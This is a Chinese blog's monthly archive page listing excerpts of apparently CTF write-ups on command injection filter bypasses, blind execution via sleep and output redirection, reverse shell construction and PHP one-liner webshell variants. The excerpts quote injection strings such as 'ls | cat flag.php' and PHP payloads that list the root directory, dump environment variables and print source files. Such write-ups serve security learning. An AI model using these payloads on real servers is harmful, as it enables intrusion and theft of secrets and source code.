2026年10月
无字母数字代码执行 100
摘要： $_GET 请求行里的查询串（?a=...&b=...） $_POST 请求体（表单编码） $_COOKIE Cookie: 请求头 $_SERVER 请求头（如 User-Agent）+ 服务器环境变量 $_FILES 请求体里的上传文件部分 $_REQUEST $_GET+$_POST+$_CO 阅读全文
posted @ 2026-10-06 21:03 csx001 阅读(2) 评论(0) 推荐(0)
管道符绕过过滤 100
摘要： Execute Code ls ; execute success! flag.php index.php ls | cat flag.php ls 的输出被送进管道，但 cat 带了文件参数会忽略 stdin标准输入，直接打印 flag.php 的源码 阅读全文
posted @ 2026-10-04 22:12 csx001 阅读(3) 评论(0) 推荐(0)
反弹shell构造 100
摘要： whoami 命令可能执行但无回显（盲执行） sleep 5 验证命令真实执行（时间信道） ls > out.txt 大于号 ：把标准输出重定向到文件。 所以结果会写入服务器当前目录下的 out.txt，而不是直接返回给你。 cat flag.php > o1.txt 阅读全文
posted @ 2026-10-04 21:36 csx001 阅读(2) 评论(0) 推荐(0)
一句话木马变形 100
摘要： print_r(scandir(chr(46))); 列当前目录（/var/www/html） print_r(scandir(chr(47))); 列根目录（/） var_dump(getenv()); 打印所有环境变量 show_source(next(array_reverse(scandir 阅读全文
posted @ 2026-10-04 21:26 csx001 阅读(2) 评论(0) 推荐(0)